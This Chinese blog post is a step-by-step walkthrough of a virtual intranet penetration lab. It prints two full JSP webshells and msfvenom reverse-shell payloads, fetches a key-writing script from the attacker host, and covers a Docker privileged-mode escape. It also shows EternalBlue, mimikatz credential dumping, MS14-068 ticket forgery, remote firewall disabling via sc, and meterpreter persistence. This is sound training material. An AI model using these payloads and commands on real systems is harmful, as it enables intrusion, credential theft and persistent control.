前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >内网靶场实战——ATT&CK实战系列(四)

内网靶场实战——ATT&CK实战系列(四)

作者头像
用户9691112
发布2023-05-18 13:59:36
7160
发布2023-05-18 13:59:36
举报
文章被收录于专栏:quan9i的安全笔记

环境

环境地址如下:

http://39.98.79.56/vuln/detail/6/

接下来下载好后在VmWare中进行ovf导入即可,共计三个文件

image-20230411135857354
image-20230411135857354

接下来配置网络环境,在虚拟网络编辑器中添加两个网段

代码语言:javascript
复制
1、192.168.1.0 NAT模式 用于外网
2、192.168.183.0 仅主机模式 用于内网
image-20230411140340096
image-20230411140340096

接下来给三个虚拟机以及攻击机(kali)进行分配

代码语言:javascript
复制
DC: VMet8(192.168.183.130)
Web(Ubuntu): VMet4、VMet8(192.168.1.130、192.168.183.128)
Win7: VMet8(192.168.183.129)
Kali: VMet4(192.168.1.129)

开机账密如下

代码语言:javascript
复制
web(ubuntu): ubuntu
win7 douser: Dotest123
DC: administrator: Test2008 

接下来用Kali虚拟机去pingUbuntu

image-20230411140455602
image-20230411140455602

尝试Ubuntu虚拟机去pingDC域控

image-20230411140559011
image-20230411140559011

尝试Win7虚拟机去pingDC域控

image-20230411140642804
image-20230411140642804

尝试DC域控ping另外两台域内机器

image-20230411140736264
image-20230411140736264

皆可ping通,至此环境搭建完成,接下来在ubuntu虚拟机中开启环境

代码语言:javascript
复制
sudo su
docker ps -a //查看以往开启容器
docker start ec814f6ee002 
docker start 174745108fcb
docker start 09dd4e5bfa91
docker start ad7866b3df9b
docker ps //查看当前运行容器
image-20230411142154891
image-20230411142154891

外网打点

打开Kali,先用nmap对外网192.168.1.130进行扫描

代码语言:javascript
复制
nmap -p1-65535 -Pn -A -T4 192.168.1.130
//-p1-65535 指扫描1-65535端口
//-Pn 指不被主机发现
// -A 指进行操作系统指纹识别
// -T4 指扫描速度最快
image-20230411142915895
image-20230411142915895

PHPMyadmin

扫描探测出2003端口开放phpmyadmin服务,接下来访问看是否能写入文件

image-20230411143648399
image-20230411143648399

回显NULL,即禁止写入,只能再找其他方法了

在nmap扫描后注意到Phpmyadmin版本为4.8.1,在网上搜索相关漏洞

image-20230411143734378
image-20230411143734378

发现远程文件包含漏洞,简单了解过后发现思路就是写一个恶意查询语句,例如select '<?phpinfo();?>',然后包含有这个语句的日志文件,即可实现远程文件包含,我们的RCE也从中得来(更换php内容为一句话木马即可)。

所以接下来查询一下日志状态

代码语言:javascript
复制
SELECT '<?php @eval($_POST[1]);?>'
image-20230411144714189
image-20230411144714189

发现日志处于关闭状态,我们进行开启

代码语言:javascript
复制
SET GLOBAL general_log='on'
image-20230411145557309
image-20230411145557309

这里发现权限不足,无法开启,因此我们无法通过开启日志的方法来进行写入shell,而禁止导入导出也注定我们无法去直接写shell,因此这个服务放弃,切换另一个。

Tomcat getshell

接下来看向2002端口,它是一个Apache Tomcat 8.5.19服务,搜索相关漏洞

image-20230411145844339
image-20230411145844339

发现CVE-2017-12615,尝试复现

访问2002端口,并抓包

image-20230411150412027
image-20230411150412027

修改方法为PUT,上传jsp一句话木马

注:直接写shell.jsp无法上传,我们可以用三种方式绕过,shell.jsp/ 或shell.jsp::$DATA 或 shell.jsp%20

一句话木马内容如下

代码语言:javascript
复制
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
image-20230411151106982
image-20230411151106982

接下来用冰蝎连接

image-20230411151251684
image-20230411151251684
image-20230411151300725
image-20230411151300725

成功getshell

Struts2

发现2001端口为Struts2服务,用漏扫工具扫描出漏洞,亦可getshell

image-20230411154108556
image-20230411154108556

Msf上线

由于冰蝎这种是非交互式的shell,所以我们需要进行反弹shell来得到一个可交互shell,这里直接上线msf

首先在kali处进入msf,开启监听

代码语言:javascript
复制
msfconsole  //进入框架
use exploit/multi/handler                      //载入模块
set payload java/meterpreter/reverse_tcp    //加载攻击负载核
set lhost 192.168.1.129                   //设置本地监听地址
set lport 7777                          //设置本地监听端口
run                            //开始执行,等待目标上线

而后在冰蝎进行对应即可

image-20230411160258332
image-20230411160258332

此时成功上线msf,接下来sessions 1 即可进入会话

image-20230411160928925
image-20230411160928925

方法二

除了利用冰蝎进行反弹shell,我们也可以通过生成msf木马,然后上传到服务器去执行来获取shell

具体如下

首先生成msf木马

代码语言:javascript
复制
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.129 LPORT=7777 -f elf >shell.elf

接下来开启另一个终端,对本机7777端口进行监听

代码语言:javascript
复制
msfconsole
use exploit/multi/handler
set lhost 192.168.1.129
set lport 7777
set payload linux/x86/meterpreter/reverse_tcp
run

将木马上传至var/tmp目录下,接下来chmod +x shell.elf赋予执行权限,而后./shell.elf执行木马文件

image-20230411161742462
image-20230411161742462

此时查看msf

image-20230411161847335
image-20230411161847335

成功上线

Docker逃逸

执行ip -addr查看当前ip

image-20230411163512082
image-20230411163512082

发现是172.xx,怀疑是docker环境,对于docker的验证,我们有如下两个方法

代码语言:javascript
复制
是否存在.dockerenv文件:
docker环境下存在:ls -alh /.dockerenv 文件

查询系统进程的cgroup信息:
docker环境下 cat /proc/1/cgroup
image-20230411163905997
image-20230411163905997

说明的确是docker环境,我们想进一步渗透,必须进行容器逃逸,到服务器中。接下来寻找Docker逃逸的漏洞,找到这篇文章

https://www.freebuf.com/articles/container/242763.html

代码语言:javascript
复制
1、Dirty Cow(CVE-2016-5195):Linux内核中的权限提升漏洞
2、CVE-2019-5736
3、emote api 未授权访问

CVE-2019-5736

1、漏洞原理: Docker、containerd或者其他基于runc的容器在运行时存在安全漏洞,攻击者可以通过特定的容器镜像或者exec操作获取到宿主机runc执行时的文件句柄并修改掉runc的二进制文件,从而获取到宿主机的root执行权限。

2、影响版本:

代码语言:javascript
复制
docker version <=18.09.2
RunC version <=1.0-rc6

3、尝试

首先将payload下载到kali中,Poc链接https://github.com/Frichetten/CVE-2019-5736-PoC

接下来需要修改一下payload,改成如下形式即可(即反弹shell指令)

image-20230411171742434
image-20230411171742434

而后因为这个是go文件,我们需要下载go环境

代码语言:javascript
复制
sudo apt-get update
sudo apt install gccgo-go 
sudo apt install golang-go

接下来对Poc文件进行编译

代码语言:javascript
复制
source /etc/profile   //配置go环境
 
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go  //编译生成

而后进入msf,将这个go文件进行上传

代码语言:javascript
复制
upload /tools/dockerrun/main
image-20230411171947354
image-20230411171947354

可以看到成功上传,接下来在kali处监听8888端口(nc -lvnp 8888)

image-20230411172006772
image-20230411172006772

接下来回到msf中,给main文件附加权限,并执行

image-20230411172044012
image-20230411172044012

此时虽回显成功,但在kali中并未接收到shell,因此这个方法不可行。

特权模式逃逸

利用docker的特权模式来在宿主机硬盘中写入ssh私钥,实现ssh免密登录宿主机,从而实现对目标宿主机的控制。

详细介绍如下

代码语言:javascript
复制
特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。
使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。

第一步,挂载磁盘

代码语言:javascript
复制
fdisk -l //查看磁盘分区情况
mkdir /qwq //新建目录qwq
mount /dev/sda1 /qwq //挂载到新目录
image-20230411172838747
image-20230411172838747

我们这里发现sda1/dev/sda1下,我们新建个目录并将/dev/sda1挂载到新目录下。

此时执行ls /qwq,若有回显则说明成功挂载。

emm,突然执行命令无回显了,所以我重新上传了一个jsp木马

代码语言:javascript
复制
PUT /shell.jsp/ HTTP/1.1
Host: 192.168.1.130:2002
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-HK;q=0.6
Cookie: JSESSIONID=ks679custfpe6kzo4fkgc7bu; phpMyAdmin=4ac7b41bd0fe91b11cbe6f602f021a0a; pma_lang=zh_CN; auto_saved_sql_sort=
Connection: close
Content-Length: 752

<%@ page import="java.util.*,java.io.*,java.net.*"%>
 <%
 %>
 <HTML><BODY>
 <FORM METHOD="POST" NAME="myform" ACTION="">
 <INPUT TYPE="text" NAME="cmd">
 <INPUT TYPE="submit" VALUE="Send">
 </FORM>
 <pre>
 <%
 if (request.getParameter("cmd") != null) {
         out.println("Command: " + request.getParameter("cmd") + "\n<BR>");
         Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
         OutputStream os = p.getOutputStream();
         InputStream in = p.getInputStream();
         DataInputStream dis = new DataInputStream(in);
         String disr = dis.readLine();
         while ( disr != null ) {
                 out.println(disr); disr = dis.readLine(); }
         }
 %>
 </pre>
 </BODY></HTML>

访问木马文件,接下来执行刚刚的指令

image-20230411181436766
image-20230411181436766
image-20230411181505159
image-20230411181505159

成功写入

接下来在kali处生成密钥

代码语言:javascript
复制
sh-keygen -f qwq  (我这里输入的密码是Qq123456)
chmod 600 qwq
image-20230411181620358
image-20230411181620358

现在相当于我们可以通过操纵qwq目录,来操纵宿主机的目录,需要将这个秘钥传到宿主机就能ssh登录

接下来查看用户的隐藏文件

代码语言:javascript
复制
ls -alh /qwq/home/ubuntu

发现ssh,接下来查看kali生成的pub,写一个脚本进行密钥的写入

代码语言:javascript
复制
cat qwq.pub                                                                                                     #ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCzoCdvHtvS1a+14tG+CWt490iwHKIFDnl4LB1PY0S/vPhs0N2NRg0xkhhba29rIZO4r0wrV2R/0voaYmICLNlx1cBkyHO0ik2GW5WGVzUFYtCKqy6LbSqJ2RH+pS8IJW0Ce2Cf57KFIAozBUFdoLqEQs7TJJPAMw839MGNEZApnqkFcaRbVvwYb0BHuRAuUS3rXpTt9y7tQJ74V5kg5a4dQ+BfO3Nxa3gSwbqA2p+3O4FWrw4w07KKzmix5TT2CSSOvcDGWEMg09ByLd1QcGzfga9eVief76hZvUmoE8wjj5M2y7nJ6cut8eQNguebsegcBmXLemtRM22CI89EUmsmkYkgsOOJjaZc5IQKu/BsqW39B4w8nukxpX14ljD6TcxifHe2+iDPuhSGw3cP7qxNQd4/Sus27JWOLrPdlycP/9sTCEqp3yj7znSXWK4Fo5EoFOoKkntPTsYqH/7x6DRA14OOWPG8oRZkU+EWiKOsLbr5sYscAKCwmebFT8heZm0= root@kali
image-20230411183246207
image-20230411183246207

接下来写脚本

代码语言:javascript
复制
vim key.sh
    
cp -avx /qwq/home/ubuntu/.ssh/id_rsa.pub /qwq/home/ubuntu/.ssh/authorized_keys
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCzoCdvHtvS1a+14tG+CWt490iwHKIFDnl4LB1PY0S/vPhs0N2NRg0xkhhba29rIZO4r0wrV2R/0voaYmICLNlx1cBkyHO0ik2GW5WGVzUFYtCKqy6LbSqJ2RH+pS8IJW0Ce2Cf57KFIAozBUFdoLqEQs7TJJPAMw839MGNEZApnqkFcaRbVvwYb0BHuRAuUS3rXpTt9y7tQJ74V5kg5a4dQ+BfO3Nxa3gSwbqA2p+3O4FWrw4w07KKzmix5TT2CSSOvcDGWEMg09ByLd1QcGzfga9eVief76hZvUmoE8wjj5M2y7nJ6cut8eQNguebsegcBmXLemtRM22CI89EUmsmkYkgsOOJjaZc5IQKu/BsqW39B4w8nukxpX14ljD6TcxifHe2+iDPuhSGw3cP7qxNQd4/Sus27JWOLrPdlycP/9sTCEqp3yj7znSXWK4Fo5EoFOoKkntPTsYqH/7x6DRA14OOWPG8oRZkU+EWiKOsLbr5sYscAKCwmebFT8heZm0= root@kali' > /qwq/home/ubuntu/.ssh/authorized_keys

而后开启http服务,使得靶机可以访问到该脚本文件

代码语言:javascript
复制
python -m SimpleHTTPServer 80

在木马文件处执行如下命令

代码语言:javascript
复制
wget http://192.168.1.129/key.sh
chmod 777 key.sh
./key.sh
ls -alh /qwq/home/ubuntu/.ssh
image-20230411182831372
image-20230411182831372

接下来按理说就写入成功了

代码语言:javascript
复制
cat /qwq/home/ubuntu/.ssh/authorized_keys

这个应该可以看到密钥,但我这里并未看到,看一些大师傅给出的原因是密钥设置的过于简短,我刚刚设置的是qwq,小于六位且没大小写,好像是因为这个原因导致的写入密钥失败,但又测试一次过后(设置密码为Qq123456),仍未看到内容,不知道是啥情况。

然后正常的话,接下来执行

代码语言:javascript
复制
ssh -i qwq ubuntu@192.168.1.130 

输入我们刚刚设定的密码,就可以实现登录,我这里未复现成功,直接用Ubuntu登录了。

内网

信息搜集

ifconfig查看网段

image-20230411184055804
image-20230411184055804

两张网卡,192.168.1.139是外网,那么192.168.183.128应该是内网

msf上线

接下来同之前docker容器Getshell后msf上线的方法,再对Ubuntu进行一次。首先生成msf木马

代码语言:javascript
复制
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.129 LPORT=7777 -f elf >shell.elf

接下来开启http服务,在Ubuntu处用wegt下载木马文件

代码语言:javascript
复制
python -m SimpleHTTPServer 80
image-20230411210208364
image-20230411210208364
代码语言:javascript
复制
wget http://192.168.1.129/shell.elf
image-20230411210223226
image-20230411210223226

接下来在kali机上开启监听

代码语言:javascript
复制
msfconsole
use exploit/multi/handler
set lhost 192.168.1.129
set lport 7777
set payload linux/x86/meterpreter/reverse_tcp
run

然后回到Ubuntu,赋予木马文件执行权限并执行

代码语言:javascript
复制
chmod +x shell.elf
./shell.elf
image-20230411210345754
image-20230411210345754

接下来查看监听处

image-20230411210353722
image-20230411210353722

msf成功上线

顺带探测一下内网机器

代码语言:javascript
复制
use auxiliary/scanner/discovery/udp_probe
set RHOSTS 192.168.183.0/24
set THREADS 5
run
image-20230411213629922
image-20230411213629922

探测出两台内网机器

代码语言:javascript
复制
192.168.183.130
192.168.183.129

添加路由

代码语言:javascript
复制
run autoroute -s 192.168.183.0/24 //添加路由
run autoroute -p //检查是否添加成功
image-20230411211622741
image-20230411211622741

设置代理

利用earthworm建立代理,首先在kali上执行

代码语言:javascript
复制
./ew_for_linux64 -s rcsocks -l 1080 -e 1234  
image-20230411213028468
image-20230411213028468

然后用python服务的方式,将ew_for_linux64上传至Ubuntu,而后执行

代码语言:javascript
复制
chmod +x ew_for_linux64
./ew_for_linux64 -s rssocks -d 192.168.1.129 -e 1234
image-20230411213228394
image-20230411213228394

接下来ping内网看是否成功

代码语言:javascript
复制
ping 192.168.183.130
image-20230411213213495
image-20230411213213495

代理设置成功!

横向移动

使用nmap对刚刚探测到的两台内网机器进行扫描

代码语言:javascript
复制
nmap -sS -p 1-65535 -A 192.168.183.129 
image-20230411234522692
image-20230411234522692

开放了445端口,尝试永恒之蓝漏洞

代码语言:javascript
复制
msf6 auxiliary(scanner/smb/smb_ms17_010) > search MS17-010

Matching Modules
================

   #  Name                                           Disclosure Date  Rank     Check  Description
   -  ----                                           ---------------  ----     -----  -----------
   0  auxiliary/admin/smb/ms17_010_command           2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   1  auxiliary/scanner/smb/smb_ms17_010                              normal   No     MS17-010 SMB RCE Detection
   2  exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   3  exploit/windows/smb/ms17_010_eternalblue_win8  2017-03-14       average  No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
   4  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   5  exploit/windows/smb/smb_doublepulsar_rce       2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution


Interact with a module by name or index. For example info 5, use 5 or use exploit/windows/smb/smb_doublepulsar_rce

msf6 auxiliary(scanner/smb/smb_ms17_010) > use 2
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.183.129
RHOSTS => 192.168.183.129
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
image-20230412001125270
image-20230412001125270

而后就是对域成员的一系列信息搜集

代码语言:javascript
复制
ipconfig /all   # 查看本机ip,所在域
route print     # 打印路由信息
net view        # 查看局域网内其他主机名
arp -a          # 查看arp缓存
net start       # 查看开启了哪些服务
net share       # 查看开启了哪些共享
net share ipc$  # 开启ipc共享
net share c$    # 开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:""    # 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名"    # 建立c盘共享
dir \\192.168.xx.xx\c$\user    # 查看192.168.xx.xx c盘user目录下的文件

net config Workstation    # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 # 查看本机用户列表
net user /domain         # 查看域用户
net localgroup administrators    # 查看本地管理员组(通常会有域用户)
net view /domain         # 查看有几个域
net user 用户名 /domain   # 获取指定域用户的信息
net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain    # 查看域中某工作组
net time /domain           // 主域服务器会同时作为时间服务器
net group "domain admins" /domain  # 查看域管理员的名字
net group "domain computers" /domain  # 查看域中的其他主机名
net group "doamin controllers" /domain  # 查看域控制器(可能有多台)
net group "Enterprise Admins" /domain    // 查看域管理员组

接下来加载kiwi,并抓取用户凭据

代码语言:javascript
复制
#msf6中mimikatz已经不可以用了,mimikatz模块已经合并为kiwi模块
load kiwi #加载kiwi模块
creds_all #列举所有凭据
image-20230412001734049
image-20230412001734049

接下来去执行mimikatz.exe抓取域控密码

代码语言:javascript
复制
privilege::debug
sekurlsa::logonpasswords

有密码后,尝试Ms14-068

代码语言:javascript
复制
https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

而后通过msf上传到win7upload /tools/Ms14-068.exe C://users/douser

接下来利用它来伪造票据

代码语言:javascript
复制
MS14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码

MS14-068.exe -u douser@DEMO.COM -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
image-20230412002613844
image-20230412002613844
image-20230412005010143
image-20230412005010143

接下来将生成的TGT_douser@demo.com.ccache移到mimikatz目录下

代码语言:javascript
复制
copy TGT_douser@demo.com.ccache /users/douser/desktop

然后mimikatz注入票据

代码语言:javascript
复制
kerberos::purge         //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
kerberos::list          //查看当前机器凭证
kerberos::ptc <生成的票据文件>   //将票据注入到内存中

这里的话就是kerberos::ptc TGT_douser@demo.com.ccache

接下来我们就成功的获取了域控权限,然后我们接下来只将一个msf木马上传至域控,关闭防火墙并执行木马文件即可实现msf上线

代码语言:javascript
复制
net use \\WIN-ENS2VR5TR3N\c$  //控制域成员与域控建立一个ipc链接

msf生成正向连接木马

代码语言:javascript
复制
msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=192.168.183.130 LPORT=7777 -f exe > shell.exe

将shell.exe上传至Win7,然后上传至域控

代码语言:javascript
复制
copy shell.exe \\WIN-ENS2VR5TR3N\c$

利用Sc关闭防火墙,并执行木马文件

代码语言:javascript
复制
sc \\WIN-ENS2VR5TR3N create ProFirewall binpath= "netsh advfirewall set allprofiles state off" 
sc \\WIN-ENS2VR5TR3N start ProFirewall 
sc \\WIN-ENS2VR5TR3N create Startup binpath= "C:\shell.exe" 
sc \\WIN-ENS2VR5TR3N start Startup

同时msf进行监听(监听一定在木马执行之前)

代码语言:javascript
复制
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set RHOST 192.168.183.130
set LPORT 7777
exploit

而后成功上线,接管域控

接下来执行

代码语言:javascript
复制
run persistence -X -i 5 -p 4000 -P windows/meterpreter/bind_tcp

而后上传mimikatz.exe,抓取密码

得到密码后,开启3389(远程桌面登录服务)

代码语言:javascript
复制
run post/windows/manage/enable_rdp

账密如下

代码语言:javascript
复制
DEMO\administrator
!QAZ2wsx

而后成功登录,即可实现远控域控

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2023/04/12 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 环境
  • 外网打点
    • PHPMyadmin
      • Tomcat getshell
        • Struts2
          • Msf上线
            • 方法二
          • Docker逃逸
            • CVE-2019-5736
            • 特权模式逃逸
        • 内网
          • 信息搜集
            • msf上线
              • 添加路由
                • 设置代理
                  • 横向移动
                  相关产品与服务
                  容器服务
                  腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
                  领券
                  问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档